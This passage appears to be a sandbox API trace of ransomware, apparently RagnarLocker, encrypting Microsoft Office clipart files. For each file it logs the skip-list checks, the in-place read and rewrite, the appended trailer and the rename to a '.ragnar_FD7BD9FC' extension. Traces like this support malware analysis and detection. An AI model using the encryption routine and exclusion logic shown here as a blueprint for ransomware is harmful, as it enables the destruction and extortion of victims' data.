lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.591] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.592] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.592] GetProcessHeap () returned 0x580000 [0082.592] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.592] CloseHandle (hObject=0xf4) returned 1 [0082.592] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" [0082.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.ragnar_FD7BD9FC" [0082.592] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.592] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1cac, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01242_.WMF", cAlternateFileName="")) returned 1 [0082.592] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.592] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01242_.WMF" | out: lpString1="HH01242_.WMF") returned="HH01242_.WMF" [0082.592] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned=".WMF" [0082.592] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.592] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="autorun.inf") returned 1 [0082.592] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="boot.ini") returned 1 [0082.592] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="bootfont.bin") returned 1 [0082.592] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="bootsect.bak") returned 1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="bootmgr") returned 1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="bootmgr.efi") returned 1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="desktop.ini") returned 1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="iconcache.db") returned -1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="ntldr") returned -1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="ntuser.dat") returned -1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="ntuser.ini") returned -1 [0082.593] lstrcmpiW (lpString1="HH01242_.WMF", lpString2="thumbs.db") returned -1 [0082.593] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.593] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.593] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.593] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.593] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.593] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.593] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0082.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.594] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7340) returned 1 [0082.594] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ca3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.594] GetProcessHeap () returned 0x580000 [0082.594] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.594] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.596] VirtualAlloc (lpAddress=0x0, dwSize=0x1cac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.596] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.596] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1cac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1cac, lpOverlapped=0x0) returned 1 [0082.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cac, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.597] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1cac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1cac, lpOverlapped=0x0) returned 1 [0082.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.597] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.597] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1cac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.597] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.597] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.597] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.597] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.597] GetProcessHeap () returned 0x580000 [0082.597] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.597] CloseHandle (hObject=0xf4) returned 1 [0082.598] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" [0082.598] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.ragnar_FD7BD9FC" [0082.598] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.598] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01291_.WMF", cAlternateFileName="")) returned 1 [0082.598] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.598] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01291_.WMF" | out: lpString1="HH01291_.WMF") returned="HH01291_.WMF" [0082.598] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned=".WMF" [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="autorun.inf") returned 1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="boot.ini") returned 1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="bootfont.bin") returned 1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="bootsect.bak") returned 1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="bootmgr") returned 1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="bootmgr.efi") returned 1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.598] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="desktop.ini") returned 1 [0082.599] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="iconcache.db") returned -1 [0082.599] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="ntldr") returned -1 [0082.599] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="ntuser.dat") returned -1 [0082.599] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.599] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="ntuser.ini") returned -1 [0082.599] lstrcmpiW (lpString1="HH01291_.WMF", lpString2="thumbs.db") returned -1 [0082.599] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.599] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.599] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.599] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.599] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.599] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.599] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0082.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.599] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15806) returned 1 [0082.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3db5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.599] GetProcessHeap () returned 0x580000 [0082.599] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.599] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.601] VirtualAlloc (lpAddress=0x0, dwSize=0x3dbe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.601] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.601] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3dbe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3dbe, lpOverlapped=0x0) returned 1 [0082.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.602] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3dbe, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.602] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3dbe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3dbe, lpOverlapped=0x0) returned 1 [0082.602] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3dbe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.602] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.602] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3dbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.602] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.603] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.603] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.603] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.603] GetProcessHeap () returned 0x580000 [0082.603] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.603] CloseHandle (hObject=0xf4) returned 1 [0082.603] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" [0082.603] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.ragnar_FD7BD9FC" [0082.603] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.603] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1780, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH01329_.WMF", cAlternateFileName="")) returned 1 [0082.604] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.604] lstrcpyW (in: lpString1=0x1eb62e, lpString2="HH01329_.WMF" | out: lpString1="HH01329_.WMF") returned="HH01329_.WMF" [0082.604] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF") returned=".WMF" [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="autorun.inf") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="boot.ini") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="bootfont.bin") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="bootsect.bak") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="bootmgr") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="bootmgr.efi") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="desktop.ini") returned 1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="iconcache.db") returned -1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="ntldr") returned -1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="ntuser.dat") returned -1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="ntuser.ini") returned -1 [0082.604] lstrcmpiW (lpString1="HH01329_.WMF", lpString2="thumbs.db") returned -1 [0082.604] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.604] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.604] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.604] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.604] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.604] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.604] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0082.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.605] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6016) returned 1 [0082.605] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1777, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.605] GetProcessHeap () returned 0x580000 [0082.605] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.605] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.606] VirtualAlloc (lpAddress=0x0, dwSize=0x1780, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.606] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.606] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.606] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1780, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1780, lpOverlapped=0x0) returned 1 [0082.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1780, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.610] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1780, lpOverlapped=0x0) returned 1 [0082.610] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1780, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.610] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.610] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.610] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.610] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.611] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.611] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.611] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.611] GetProcessHeap () returned 0x580000 [0082.611] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.611] CloseHandle (hObject=0xf4) returned 1 [0082.611] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program 